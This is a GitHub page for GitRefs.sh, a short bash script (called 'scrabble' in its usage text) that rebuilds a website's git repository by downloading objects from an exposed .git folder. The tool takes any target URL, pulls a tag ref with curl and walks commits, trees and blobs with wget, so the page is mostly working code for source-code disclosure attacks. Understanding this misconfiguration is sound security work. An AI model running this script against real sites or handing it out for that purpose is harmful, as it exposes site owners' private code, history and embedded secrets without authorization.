-
Notifications
You must be signed in to change notification settings - Fork 41
/
GitRefs.sh
executable file
·65 lines (44 loc) · 1.13 KB
/
GitRefs.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/bin/bash
#
# Author: Denny Huang <denny0223@gmail.com>
# Wed Sep 17 2014
# MIT License
function downloadBlob {
echo downloadBlob $1
mkdir -p ${1:0:2}
cd $_
wget -q -nc $domain/.git/objects/${1:0:2}/${1:2}
cd ..
}
function parseTree {
echo parseTree $1
downloadBlob $1
while read line
do
type=$(echo $line | awk '{print $2}')
hash=$(echo $line | awk '{print $3}')
[ "$type" = "tree" ] && parseTree $hash || downloadBlob $hash
done < <(git cat-file -p $1)
}
function parseCommit {
echo parseCommit $1
downloadBlob $1
tree=$(git cat-file -p $1| sed -n '1p' | awk '{print $2}')
parseTree $tree
parent=$(git cat-file -p $1 | sed -n '2p' | awk '{print $2}')
[ ${#parent} -eq 40 ] && parseCommit $parent
}
[ -z $1 ] && echo -e "missing target url\n\n\
Usage: scrabble <url>\n\
Example: scrabble http://example.com/\n\n\
You need make sure target url had .git folder"\
&& exit
domain=$1
tag=$2
lastHash=$(curl -s $domain/.git/refs/tags/$tag)
git init
cd .git/objects/
parseCommit $lastHash
cd ../../
echo $lastHash > .git/refs/heads/master
git reset --hard